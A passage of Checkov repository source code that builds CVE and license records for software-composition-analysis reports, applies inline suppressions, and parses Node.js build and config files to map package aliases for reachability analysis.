{package_name}: {package_version}\",\n        vulnerability_details=details,\n    )\n\n    record.fixed_definition = fix_code  # type: ignore\n    return record\n\n\ndef _add_to_report_licenses_statuses(\n        report: Report,\n        check_class: str | None,\n        scanned_file_path: str,\n        rootless_file_path: str,\n        runner_filter: RunnerFilter,\n        packages_map: dict[str, dict[str, Any]],\n        license_statuses: list[_LicenseStatus],\n        sca_details: SCADetails | None = None,\n        report_type: str | None = None,\n        inline_suppressions_maps: _ScaSuppressionsMaps | None = None,\n) -> dict[str, list[str]]:\n    licenses_per_package_map: dict[str, list[str]] = defaultdict(list)\n\n    for license_status in license_statuses:\n        # filling 'licenses_per_package_map', will be used in the call to 'create_report_cve_record' for efficient\n        # extracting of license per package\n        package_name, package_version, license = (\n            license_status[\"package_name\"],\n            license_status[\"package_version\"],\n            license_status[\"license\"],\n        )\n        package_alias = get_package_alias(package_name, package_version)\n        licenses_per_package_map[package_alias].append(license)\n\n        policy = license_status[\"policy\"]\n        severity = metadata_integration.get_severity(policy)\n\n        license_record = create_report_license_record(\n            rootless_file_path=rootless_file_path,\n            file_abs_path=scanned_file_path,\n            check_class=check_class or \"\",\n            licenses_status=license_status,\n            package=packages_map.get(package_alias, {}),\n            sca_details=sca_details,\n            severity=severity\n        )\n\n        vulnerability_details = license_record.vulnerability_details or {}\n\n        # apply inline suppressions\n        suppressed = apply_licenses_inline_suppressions(\n            record=license_record, vulnerability_details=vulnerability_details,\n            inline_suppressions_maps=inline_suppressions_maps\n        )\n\n        if not suppressed and not runner_filter.should_run_check(\n                check_id=policy,\n                bc_check_id=policy,\n                severity=severity,\n                report_type=report_type,\n        ):\n            if runner_filter.checks:\n                continue\n            else:\n                license_record.check_result = {\n                    \"result\": CheckResult.SKIPPED,\n                    \"suppress_comment\": f\"{policy} is skipped\",\n                }\n\n        report.add_resource(license_record.resource)\n        report.add_record(license_record)\n\n    return licenses_per_package_map\n\n\ndef get_inline_suppressions_map(inline_suppressions: _ScaSuppressions | None = None) -> _ScaSuppressionsMaps | None:\n    if not inline_suppressions:\n        return None\n    suppressions_map: _ScaSuppressionsMaps = {}\n\n    # fill cves suppressions map\n    cve_suppresion_by_cve_map: dict[str, _SuppressedCves] = {}\n    inline_suppressions_by_cve: list[_SuppressedCves] = inline_suppressions.get(\"cves\", {}).get(\"byCve\", [])\n    for cve_suppression in inline_suppressions_by_cve:\n        cve_id = cve_suppression.get(\"cveId\")\n        if cve_id:\n            cve_suppresion_by_cve_map[cve_id] = cve_suppression\n\n    # fill licenses suppressions map\n    licenses_suppressions_by_policy_and_package_map: dict[str, _SuppressedLicenses] = {}\n    inline_suppressions_by_license: list[_SuppressedLicenses] = inline_suppressions.get(\"licenses\", {}).get(\"byPackage\",\n                                                                                                            [])\n    for license_suppression in inline_suppressions_by_license:\n        if license_suppression.get(\"licensePolicy\") and license_suppression.get(\"packageName\"):\n            key = get_license_policy_and_package_alias(license_suppression[\"licensePolicy\"],\n                                                       license_suppression[\"packageName\"])\n            licenses_suppressions_by_policy_and_package_map[key] = license_suppression\n\n    suppressions_map['cve_suppresion_by_cve_map'] = cve_suppresion_by_cve_map\n    suppressions_map[\n        'licenses_suppressions_by_policy_and_package_map'] = licenses_suppressions_by_policy_and_package_map\n\n    return suppressions_map\n\n\ndef add_to_reports_cves_and_packages(\n        report: Report,\n        check_class: str | None,\n        scanned_file_path: str,\n        rootless_file_path: str,\n        runner_filter: RunnerFilter,\n        vulnerabilities: list[dict[str, Any]],\n        packages: list[dict[str, Any]],\n        packages_map: dict[str, dict[str, Any]],\n        licenses_per_package_map: dict[str, list[str]],\n        used_private_registry: bool = False,\n        dependencies: dict[str, List[int]] | None = None,\n        sca_details: SCADetails | None = None,\n        report_type: str | None = None,\n        inline_suppressions_maps: _ScaSuppressionsMaps | None = None,\n        scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI,\n        file_line_range: list[int] | None = None\n) -> None:\n    is_dependency_tree_flow = bool(dependencies)\n\n    vulnerable_packages, root_packages_list = create_vulnerable_packages_dict(vulnerabilities, packages,\n                                                                              is_dependency_tree_flow)\n\n    for package in packages:\n        package_name, package_version = package[\"name\"], package[\"version\"]\n        package_alias = get_package_alias(package_name, package_version)\n\n        if package_alias in vulnerable_packages:\n            package[\"cves\"] = vulnerable_packages[package_alias]\n        else:\n            # adding resources without cves for adding them also in the output-bom-repors\n            add_extra_resources_to_report(report, scanned_file_path, rootless_file_path,\n                                          package, package_alias, licenses_per_package_map, sca_details)\n\n    if is_dependency_tree_flow:\n        add_to_reports_dependency_tree_cves(check_class, packages_map, licenses_per_package_map, packages, report,\n                                            root_packages_list, rootless_file_path, runner_filter,\n                                            scanned_file_path, used_private_registry, scan_data_format, sca_details,\n                                            report_type, inline_suppressions_maps)\n    else:  # twistlock scan results.\n        for vulnerability in vulnerabilities:\n            package_name, package_version = vulnerability[\"packageName\"], vulnerability[\"packageVersion\"]\n            add_cve_record_to_report(vulnerability_details=vulnerability,\n                                     package_name=package_name,\n                                     package_version=package_version,\n                                     packages_map=packages_map,\n                                     rootless_file_path=rootless_file_path,\n                                     scanned_file_path=scanned_file_path,\n                                     check_class=check_class or \"\",\n                                     licenses_per_package_map=licenses_per_package_map,\n                                     runner_filter=runner_filter,\n                                     sca_details=sca_details,\n                                     scan_data_format=scan_data_format,\n                                     report_type=report_type,\n                                     report=report,\n                                     inline_suppressions_maps=inline_suppressions_maps,\n                                     file_line_range=file_line_range,\n                                     used_private_registry=used_private_registry)\n\n\ndef add_to_reports_dependency_tree_cves(check_class: str | None, packages_map: dict[str, dict[str, Any]],\n                                        licenses_per_package_map: dict[str, list[str]], packages: list[dict[str, Any]],\n                                        report: Report, root_packages_list: list[int],\n                                        rootless_file_path: str, runner_filter: RunnerFilter, scanned_file_path: str,\n                                        used_private_registry: bool = False,\n                                        scan_data_format: ScanDataFormat = ScanDataFormat.TWISTCLI,\n                                        sca_details: SCADetails | None = None, report_type: str | None = None,\n                                        inline_suppressions_maps: _ScaSuppressionsMaps | None = None) -> None:\n    for root_package_index in root_packages_list:\n        vulnerable_dependencies = find_vulnerable_dependencies(root_package_index, packages)\n\n        root_package = packages[root_package_index]\n        if len(root_package.get(\"cves\", [])) > 0 or len(vulnerable_dependencies) > 0:\n            root_package[\"vulnerable_dependencies\"] = vulnerable_dependencies\n\n        indirect_packages: dict[str, Any] = dict()\n        for cve in root_package.get(\"cves\", []):\n            if 'causePackageName' in cve:\n                cve_alias = f'{cve[\"cveId\"]}@{cve[\"causePackageName\"]}@{cve[\"causePackageVersion\"]}'\n                indirect_packages[cve_alias] = cve\n                continue\n\n            add_cve_record_to_report(vulnerability_details=cve, package_name=root_package['name'],\n                                     package_version=root_package['version'], packages_map=packages_map,\n                                     rootless_file_path=rootless_file_path, scanned_file_path=scanned_file_path,\n                                     check_class=check_class, licenses_per_package_map=licenses_per_package_map,\n                                     runner_filter=runner_filter, sca_details=sca_details,\n                                     scan_data_format=scan_data_format, report_type=report_type, report=report,\n                                     root_package=root_package, inline_suppressions_maps=inline_suppressions_maps,\n                                     used_private_registry=used_private_registry)\n\n        for dep in root_package.get(\"vulnerable_dependencies\", []):\n            for dep_cve in dep.get(\"cves\", []):\n                cve_alias = f'{dep_cve[\"cveId\"]}@{dep_cve[\"packageName\"]}@{dep_cve[\"packageVersion\"]}'\n                root_package_cve = None\n                if cve_alias in indirect_packages:\n                    root_package_cve = indirect_packages[cve_alias]\n\n                add_cve_record_to_report(vulnerability_details=dep_cve, package_name=dep['name'],\n                                         package_version=dep['version'], packages_map=packages_map,\n                                         rootless_file_path=rootless_file_path, scanned_file_path=scanned_file_path,\n                                         check_class=check_class, licenses_per_package_map=licenses_per_package_map,\n                                         runner_filter=runner_filter, sca_details=sca_details,\n                                         scan_data_format=scan_data_format, report_type=report_type, report=report,\n                                         root_package=root_package,\n                                         inline_suppressions_maps=inline_suppressions_maps,\n                                         used_private_registry=used_private_registry, root_package_cve=root_package_cve)\n\n\ndef add_cve_record_to_report(vulnerability_details: dict[str, Any], package_name: str, package_version: str,\n                             packages_map: dict[str, dict[str, Any]], rootless_file_path: str,\n                             scanned_file_path: str, check_class: Optional[str],\n                             licenses_per_package_map: dict[str, list[str]], runner_filter: RunnerFilter,\n                             sca_details: Optional[SCADetails], scan_data_format: ScanDataFormat,\n                             report_type: Optional[str], report: Report, used_private_registry: bool = False,\n                             root_package: dict[str, Any] | None = None,\n                             inline_suppressions_maps: _ScaSuppressionsMaps | None = None,\n                             file_line_range: list[int] | None = None,\n                             root_package_cve: dict[str, Any] | None = None) -> None:\n    package_alias = get_package_alias(package_name, package_version)\n    cve_record = create_report_cve_record(\n        rootless_file_path=rootless_file_path,\n        file_abs_path=scanned_file_path,\n        check_class=check_class or \"\",\n        vulnerability_details=vulnerability_details,\n        licenses=format_licenses_to_string(licenses_per_package_map[package_alias]),\n        package=packages_map.get(package_alias, {}),\n        runner_filter=runner_filter,\n        sca_details=sca_details,\n        scan_data_format=scan_data_format,\n        root_package=root_package,\n        root_package_cve=root_package_cve,\n        file_line_range=file_line_range,\n        used_private_registry=used_private_registry\n    )\n    suppressed = apply_cves_inline_suppressions(\n        record=cve_record, inline_suppressions_maps=inline_suppressions_maps\n    )\n\n    if not suppressed and not runner_filter.should_run_check(\n            check_id=cve_record.check_id,\n            bc_check_id=cve_record.bc_check_id,\n            severity=cve_record.severity,\n            report_type=report_type,\n    ):\n        if runner_filter.checks:\n            return\n        else:\n            cve_record.check_result = {\n                \"result\": CheckResult.SKIPPED,\n                \"suppress_comment\": f\"{vulnerability_details.get('cveId', vulnerability_details.get('id', ''))} is skipped\"\n            }\n\n    report.add_resource(cve_record.resource)\n    report.add_record(cve_record)\n\n\ndef apply_cves_inline_suppressions(\n        record: Record, inline_suppressions_maps: _ScaSuppressionsMaps | None = None\n) -> bool:\n    \"\"\"Applies the inline suppression and returns an accomplish status\"\"\"\n\n    if inline_suppressions_maps and record.vulnerability_details and inline_suppressions_maps.get(\n            \"cve_suppresion_by_cve_map\"):\n        cve_id = record.vulnerability_details.get(\"id\", \"\")\n        cve_suppression = inline_suppressions_maps[\"cve_suppresion_by_cve_map\"].get(cve_id)\n        if cve_suppression:\n            record.check_result = {\n                \"result\": CheckResult.SKIPPED,\n                \"suppress_comment\": cve_suppression.get('reason', ''),\n            }\n            return True\n\n    return False\n\n\ndef apply_licenses_inline_suppressions(\n        record: Record, vulnerability_details: dict[str, Any],\n        inline_suppressions_maps: _ScaSuppressionsMaps | None = None\n) -> bool:\n    \"\"\"Applies the inline suppression and returns an accomplish status\"\"\"\n\n    if inline_suppressions_maps and inline_suppressions_maps.get(\"licenses_suppressions_by_policy_and_package_map\"):\n        key = get_license_policy_and_package_alias(vulnerability_details.get(\"policy\", \"\"),\n                                                   vulnerability_details.get(\"package_name\", \"\"))\n        license_suppression = inline_suppressions_maps[\"licenses_suppressions_by_policy_and_package_map\"].get(key)\n        if license_suppression:\n            record.check_result = {\n                \"result\": CheckResult.SKIPPED,\n                \"suppress_comment\": license_suppression.get('reason', ''),\n            }\n            return True\n\n    return False\n\n\ndef find_vulnerable_dependencies(root_package_index: int, packages: list[dict[str, Any]]) -> list[dict[str, Any]]:\n    vulnerable_dependencies: list[dict[str, Any]] = []\n    for vulnerable_dependency_idx in packages[root_package_index].get('vulnerable_dependencies', []):\n        vulnerable_dependencies.append(packages[vulnerable_dependency_idx])\n    return vulnerable_dependencies\n\n\ndef create_root_packages_list(root_packages_list: list[int], packages: list[dict[str, Any]], package: dict[str, Any],\n                              dependencies: Optional[Dict[str, List[int]]]) -> None:\n    if dependencies:\n        if package.get(\"root\", \"\"):\n            root_packages_list.append(packages.index(package))\n    else:\n        # if we don't have dependencies, all packages will be \"roots\"\n        root_packages_list.append(packages.index(package))\n\n\ndef create_vulnerable_packages_dict(vulnerabilities: list[dict[str, Any]], packages: list[dict[str, Any]],\n                                    is_dependency_tree_flow: bool) -> tuple[dict[str, list[dict[str, Any]]], list[int]]:\n    vulnerable_packages: dict[str, list[dict[str, Any]]] = dict()\n    root_packages_list: list[int] = []\n    if is_dependency_tree_flow:\n        for package_idx, package in enumerate(packages):\n            if package.get(\"root\", False):\n                root_packages_list.append(package_idx)\n\n            package_alias = get_package_alias(package[\"name\"], package[\"version\"])\n            for cve_idx in package.get('cves_index', []):\n                vulnerable_packages.setdefault(package_alias, []).append(vulnerabilities[cve_idx])\n    else:\n        for vulnerability in vulnerabilities:\n            package_alias = get_package_alias(vulnerability[\"packageName\"], vulnerability[\"packageVersion\"])\n            vulnerable_packages.setdefault(package_alias, []).append(vulnerability)\n\n    return vulnerable_packages, root_packages_list\n\n\ndef add_extra_resources_to_report(report: Report, scanned_file_path: str, rootless_file_path: str,\n                                  package: dict[str, Any], package_alias: str,\n                                  licenses_per_package_map: dict[str, list[str]],\n                                  sca_details: Optional[SCADetails]) -> None:\n    package_name, package_version = package[\"name\"], package[\"version\"]\n    report.extra_resources.add(\n        ExtraResource(\n            file_abs_path=scanned_file_path,\n            file_path=get_file_path_for_record(rootless_file_path),\n            resource=get_resource_for_record(rootless_file_path, package_name),\n            file_line_range=get_package_lines(package),\n            vulnerability_details={\n                \"package_name\": package_name,\n                \"package_version\": package_version,\n                \"package_registry\": get_registry_url(package),\n                \"is_private_registry\": package.get(\"isPrivateRegistry\", False),\n                \"licenses\": format_licenses_to_string(\n                    licenses_per_package_map[package_alias]),\n                \"package_type\": get_package_type(package_name, package_version, sca_details)\n            },\n        )\n    )\n\n\ndef add_to_report_sca_data(\n        report: Report,\n        check_class: str | None,\n        scanned_file_path: str,\n        rootless_file_path: str,\n        runner_filter: RunnerFilter,\n        vulnerabilities: list[dict[str, Any]],\n        packages: list[dict[str, Any]],\n        license_statuses: list[_LicenseStatus],\n        used_private_registry: bool = False,\n        dependencies: dict[str, list[int]] | None = None,\n        sca_details: SCADetails | None = None,\n        report_type: str | None = None,\n        inline_suppressions: _ScaSuppressions | None = None,\n        file_line_range: list[int] | None = None\n) -> None:\n    inline_suppressions_maps: _ScaSuppressionsMaps | None = get_inline_suppressions_map(inline_suppressions)\n    packages_map: dict[str, dict[str, Any]] = {get_package_alias(p[\"name\"], p[\"version\"]): p for p in packages}\n    licenses_per_package_map: dict[str, list[str]] = \\\n        _add_to_report_licenses_statuses(report, check_class, scanned_file_path, rootless_file_path, runner_filter,\n                                         packages_map, license_statuses, sca_details, report_type,\n                                         inline_suppressions_maps)\n    # if dependencies is empty list it means we got results via DependencyTree scan but no dependencies have found.\n    add_to_reports_cves_and_packages(report=report, check_class=check_class,\n                                     scanned_file_path=scanned_file_path,\n                                     rootless_file_path=rootless_file_path,\n                                     runner_filter=runner_filter,\n                                     vulnerabilities=vulnerabilities,\n                                     packages=packages,\n                                     packages_map=packages_map,\n                                     licenses_per_package_map=licenses_per_package_map,\n                                     sca_details=sca_details,\n                                     report_type=report_type,\n                                     scan_data_format=ScanDataFormat.DEPENDENCY_TREE,\n                                     dependencies=dependencies,\n                                     inline_suppressions_maps=inline_suppressions_maps,\n                                     file_line_range=file_line_range,\n                                     used_private_registry=used_private_registry)\n\n\ndef _get_request_input(packages: list[dict[str, Any]]) -> list[dict[str, Any]]:\n    return [\n        {\"name\": package.get(\"name\", \"\"), \"version\": package.get(\"version\", \"\"),\n         \"lang\": normalize_twistcli_language(package.get(\"type\", \"\"))}\n        for package in packages\n    ]\n\n\ndef get_license_statuses(packages: list[dict[str, Any]]) -> list[_LicenseStatus]:\n    requests_input = _get_request_input(packages)\n    if not requests_input:\n        return []\n    try:\n        response = request_wrapper(\n            method=\"POST\",\n            url=f\"{bc_integration.api_url}/api/v1/vulnerabilities/packages/get-licenses-violations\",\n            headers=bc_integration.get_default_headers(\"POST\"),\n            json={\"packages\": requests_input},\n            should_call_raise_for_status=True\n        )\n        response_json = response.json()\n        license_statuses: list[_LicenseStatus] = _extract_license_statuses(response_json)\n        return license_statuses\n    except Exception:\n        error_message = (\n            \"failing when trying to get licenses-violations. it is apparently some unexpected \"\n            \"connection issue. please try later. in case it keep happening. please report.\"\n        )\n        logging.info(error_message, exc_info=True)\n\n    return []\n\n\nasync def get_license_statuses_async(packages: list[dict[str, Any]], image_name: str) -> _ImageReferencerLicenseStatus:\n    \"\"\"\n    This is an async implementation of `get_license_statuses`. The only change is we're getting a session\n    as an input, and the asyncio behavior is managed in the calling method.\n    \"\"\"\n    requests_input = _get_request_input(packages)\n    url = f\"{bc_integration.api_url}/api/v1/vulnerabilities/packages/get-licenses-violations\"\n    if not requests_input:\n        return {'image_name': image_name, 'licenses': []}\n    try:\n        response = await aiohttp_client_session_wrapper(\"POST\", url,\n                                                        headers=bc_integration.get_default_headers(\"POST\"),\n                                                        payload={\"packages\": requests_input})\n        response_json = await response.json()\n\n        license_statuses = _extract_license_statuses(response_json)\n        return {'image_name': image_name, 'licenses': license_statuses}\n    except Exception as e:\n        error_message = (\n            \"failing when trying to get licenses-violations. it is apparently some unexpected \"\n            \"connection issue. please try later. in case it keeps happening, please report.\"\n            f\"Error: {str(e)}\"\n        )\n        logging.info(error_message, exc_info=True)\n\n        return {'image_name': image_name, 'licenses': []}\n\n\ndef _extract_license_statuses(response_json: dict[str, list[dict[str, str]]]) -> list[_LicenseStatus]:\n    license_statuses: list[_LicenseStatus] = [\n        {\n            \"package_name\": license_violation.get(\"name\", \"\"),\n            \"package_version\": license_violation.get(\"version\", \"\"),\n            \"policy\": license_violation.get(\"policy\", \"BC_LIC1\"),\n            \"license\": license_violation.get(\"license\", \"\"),\n            \"status\": license_violation.get(\"status\", \"COMPLIANT\")\n        }\n        for license_violation in response_json.get(\"violations\", [])\n    ]\n    return license_statuses\n"
  },
  {
    "path": "checkov/common/sca/reachability/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/abstract_alias_mapping_strategy.py",
    "content": "from abc import ABC, abstractmethod\nfrom typing import List, Dict, Set, Callable, Any\nimport logging\nimport os\n\n\nclass AbstractAliasMappingStrategy(ABC):\n    @abstractmethod\n    def get_language(self) -> str:\n        pass\n\n    @abstractmethod\n    def get_file_name_to_parser_map(self) -> Dict[str, Callable[[str, Set[str]], Dict[str, Any]]]:\n        pass\n\n    @staticmethod\n    def _add_package_aliases(alias_mapping: Dict[str, Any], language: str, repository_name: str,\n                             file_relative_path: str, package_name: str, package_aliases: List[str]) -> None:\n        package_aliases_for_file = alias_mapping[\"languages\"].setdefault(language, {\"repositories\": {}})[\"repositories\"] \\\n            .setdefault(repository_name, {\"files\": {}})[\"files\"] \\\n            .setdefault(file_relative_path, {\"packageAliases\": {}})[\"packageAliases\"]\n        if package_name in package_aliases_for_file:\n            raise Exception(f\"aliases for \\'{package_name}\\' in the file \\'{file_relative_path}\\' in the repository \"\n                            f\"\\'{repository_name}\\' already were set\")\n        package_aliases_for_file[package_name] = {\"packageAliases\": package_aliases}\n\n    def update_alias_mapping(self, alias_mapping: Dict[str, Any], repository_name: str, root_dir: str, relevant_packages: Set[str])\\\n            -> None:\n        logging.debug(\"[AbstractAliasMappingStrategy](create_alias_mapping) - starting\")\n        file_name_to_parser_map = self.get_file_name_to_parser_map()\n        for curr_root, _, f_names in os.walk(root_dir):\n            for file_name in f_names:\n                if file_name in file_name_to_parser_map:\n                    logging.debug(f\"[AbstractAliasMappingStrategy](create_alias_mapping) - starting parsing ${file_name}\")\n                    file_absolute_path = os.path.join(curr_root, file_name)\n                    file_relative_path = os.path.relpath(file_absolute_path, root_dir)\n                    with open(file_absolute_path) as f:\n                        file_content = f.read()\n                        try:\n                            output = file_name_to_parser_map[file_name](file_content, relevant_packages)\n                            for package_name in output[\"packageAliases\"]:\n                                self._add_package_aliases(alias_mapping, self.get_language(), repository_name,\n                                                          file_relative_path, package_name,\n                                                          output[\"packageAliases\"][package_name][\"packageAliases\"])\n                            logging.debug(\n                                f\"[AbstractAliasMappingStrategy](create_alias_mapping) - done parsing for ${file_name}\")\n                        except Exception:\n                            logging.error(f\"[AbstractAliasMappingStrategy](create_alias_mapping) - failure when \"\n                                          f\"parsing the file '${file_name}'. file content:\\n{file_content}.\\n\",\n                                          exc_info=True)\n                            raise\n"
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/alias_mapping_creator.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, Set, Any\n\nfrom checkov.common.sca.reachability.package_alias_mapping.abstract_alias_mapping_strategy import AbstractAliasMappingStrategy\nfrom checkov.common.sca.reachability.package_alias_mapping.nodejs.nodejs_alias_mapping_strategy import NodejsAliasMappingStrategy\n\nlanguage_to_strategy: Dict[str, AbstractAliasMappingStrategy] = {\n    \"nodejs\": NodejsAliasMappingStrategy()\n}\n\n\nclass AliasMappingCreator:\n    def __init__(self) -> None:\n        self._alias_mapping: Dict[str, Any] = {\"languages\": {}}\n\n    def update_alias_mapping_for_repository(\n            self,\n            repository_name: str,\n            repository_root_dir: str,\n            relevant_packages: Set[str]\n    ) -> None:\n        for lang in language_to_strategy:\n            language_to_strategy[lang].update_alias_mapping(self._alias_mapping, repository_name, repository_root_dir, relevant_packages)\n\n    def get_alias_mapping(self) -> Dict[str, Any]:\n        return self._alias_mapping\n"
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/nodejs/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/nodejs/nodejs_alias_mapping_strategy.py",
    "content": "from __future__ import annotations\n\nfrom typing import Dict, Set, Callable, Any\n\nfrom checkov.common.sca.reachability.package_alias_mapping.abstract_alias_mapping_strategy import AbstractAliasMappingStrategy\nfrom checkov.common.sca.reachability.package_alias_mapping.nodejs.utils import parse_webpack_file, parse_tsconfig_file, parse_babel_file, \\\n    parse_rollup_file, parse_package_json_file, parse_snowpack_file, parse_vite_file\n\n\nclass NodejsAliasMappingStrategy(AbstractAliasMappingStrategy):\n    def get_language(self) -> str:\n        return \"nodejs\"\n\n    def get_file_name_to_parser_map(self) -> Dict[str, Callable[[str, Set[str]], Dict[str, Any]]]:\n        return {\n            \"webpack.config.js\": parse_webpack_file,\n            \"tsconfig.json\": parse_tsconfig_file,\n            \".babelrc\": parse_babel_file,\n            \"babel.config.js\": parse_babel_file,\n            \"rollup.config.js\": parse_rollup_file,\n            \"package.json\": parse_package_json_file,\n            \"snowpack.config.js\": parse_snowpack_file,\n            \"vite.config.js\": parse_vite_file\n        }\n"
  },
  {
    "path": "checkov/common/sca/reachability/package_alias_mapping/nodejs/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os.path\nfrom json import JSONDecodeError\nfrom typing import Dict, Set, Any\nimport re\nimport json\nimport os\n\n\nMODULE_EXPORTS_PATTERN = r'module\\.exports\\s*=\\s*({.*?});'\nEXPORT_DEFAULT_PATTERN = r'export\\s*default\\s*({.*?});'\n\n\ndef load_json_with_comments(json_str: str) -> Any:\n    # Regular expression to remove comments (both single line and multi-line)\n    pattern = r'(?<!\\\\)([\"\\'])(?:(?=(\\\\?))\\2.)*?\\1|//.*?$|/\\*[\\s\\S]*?\\*/'\n    regex = re.compile(pattern, re.MULTILINE)\n    clean_json_str = regex.sub(lambda match: match.group(0) if match.group(1) else '', json_str)\n    return json.loads(clean_json_str)\n\n\ndef _parse_export(file_content: str, pattern: str) -> Dict[str, Any] | None:\n    module_export_match = re.search(pattern, file_content, re.DOTALL)\n\n    if module_export_match:\n        module_exports_str = module_export_match.group(1)\n        # for having for all the keys and values double quotes and removing spaces\n        module_exports_str = re.sub(r'\\s+', '', re.sub(r'([{\\s,])(\\w+):', r'\\1\"\\2\":', module_exports_str)\n                                    .replace(\"'\", \"\\\"\"))\n        module_exports: Dict[str, Any] = json.loads(module_exports_str)\n        return module_exports\n    return None\n\n\ndef parse_webpack_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    module_exports_json = _parse_export(file_content, MODULE_EXPORTS_PATTERN)\n    if module_exports_json:\n        aliases = module_exports_json.get(\"resolve\", {}).get(\"alias\", {})\n        for imported_name in aliases:\n            package_name = aliases[imported_name]\n            if package_name in relevant_packages:\n                output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_tsconfig_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    tsconfig_json = load_json_with_comments(file_content)\n    paths = tsconfig_json.get(\"compilerOptions\", {}).get(\"paths\", {})\n    for imported_name in paths:\n        for package_relative_path in paths[imported_name]:\n            package_name = os.path.basename(package_relative_path)\n            if package_name in relevant_packages:\n                output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_babel_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    babelrc_json = load_json_with_comments(file_content)\n    plugins = babelrc_json.get(\"plugins\", {})\n    for plugin in plugins:\n        if len(plugin) > 1:\n            plugin_object = plugin[1]\n            aliases = plugin_object.get(\"alias\", {})\n            for imported_name in aliases:\n                package_name = aliases[imported_name]\n                if package_name in relevant_packages:\n                    output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_rollup_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    export_default_match = re.search(EXPORT_DEFAULT_PATTERN, file_content, re.DOTALL)\n    if export_default_match:\n        export_default_str = export_default_match.group(1)\n        # for having for all the keys and values double quotes and removing spaces\n        export_default_str = re.sub(r'\\s+', '', re.sub(r'([{\\s,])(\\w+):', r'\\1\"\\2\":', export_default_str)\n                                    .replace(\"'\", \"\\\"\"))\n\n        # Defining a regular expression pattern to match the elements within the \"plugins\" list\n        pattern = r'alias\\(\\{[^)]*\\}\\)'\n        matches = re.findall(pattern, export_default_str)\n\n        for alias_object_str in matches:\n            alias_object = json.loads(alias_object_str[6:-1])  # removing 'alias(' and ')'\n            for entry in alias_object.get(\"entries\", []):\n                package_name = entry[\"replacement\"]\n                if entry[\"replacement\"] in relevant_packages:\n                    imported_name = entry[\"find\"]\n                    output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_package_json_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    try:\n        package_json = load_json_with_comments(file_content)\n    except JSONDecodeError:\n        logging.warning('unable to parse package json file')\n        return output\n\n    aliases: Dict[str, str] = dict()\n    if \"alias\" in package_json:\n        aliases.update(package_json[\"alias\"])\n    if package_json.get(\"aliasify\", {}).get(\"aliases\"):\n        aliases.update(package_json[\"aliasify\"][\"aliases\"])\n    for imported_name in aliases:\n        package_name = aliases[imported_name]\n        if package_name in relevant_packages:\n            output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_snowpack_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    module_exports_json = _parse_export(file_content, MODULE_EXPORTS_PATTERN)\n    if module_exports_json:\n        aliases = module_exports_json.get(\"alias\", {})\n        for imported_name in aliases:\n            package_name = aliases[imported_name]\n            if package_name in relevant_packages:\n                if package_name in relevant_packages:\n                    output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n\n\ndef parse_vite_file(file_content: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n    output: Dict[str, Any] = {\"packageAliases\": {}}\n    export_default_match = _parse_export(file_content, EXPORT_DEFAULT_PATTERN)\n    if export_default_match:\n        aliases = export_default_match.get(\"resolve\", {}).get(\"alias\", {})\n        for imported_name in aliases:\n            package_name = aliases[imported_name]\n            if package_name in relevant_packages:\n                output[\"packageAliases\"].setdefault(package_name, {\"packageAliases\": []})[\"packageAliases\"].append(imported_name)\n    return output\n"
  },
  {
    "path": "checkov/common/sca/reachability/sast_contract/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/sca/reachability/sast_contract/data_fetcher_sast_lib.py",
    "content": "import asyncio\nimport logging\nfrom typing import Set, Dict, Any, Union\nfrom pydantic import ValidationError\nfrom checkov.common.bridgecrew.platform_integration import bc_integration\nfrom checkov.common.sca.reachability.package_alias_mapping.alias_mapping_creator import AliasMappingCreator\nfrom .models import ReachabilityRunConfig, ReachabilityData\n\nRELEVANT_PACKAGES = {\"Mongoose\", \"Node-etsy-client\", \"semver\", \"moment\", \"sails\", \"protobufjs\", \"qs\", \"@angular/core\",\n                     \"minimist\", \"ansi-regex\", \"minimatch\", \"request\", \"axios\", \"lodash\", \"http-cache-semantics\",\n                     \"node-sass\", \"got\", \"jquery\", \"file-type\", \"bootstrap\", \"tough-cookie\", \"aws-sdk-js-v3\",\n                     \"aws-sdk-js\", \"tar\", \"json-schema\", \"path-parse\", \"decode-uri-component\", \"angular\",\n                     \"hosted-git-info\", \"ajv\", \"y18n\", \"ini\", \"materialize-css\", \"shelljs\", \"async\", \"ssri\", \"xml2js\",\n                     \"chart.js\", \"validator\", \"glob-parent\", \"npm/cli\", \"postcss\", \"gatsby-plugin-sharp\", \"json5\",\n                     \"xmldom\", \"debug\", \"terser\", \"brace-expansion\", \"sshpk\", \"is-my-json-valid\", \"ms\", \"jsonpointer\",\n                     \"bl\", \"fstream\", \"npm-user-validate\", \"chownr\", 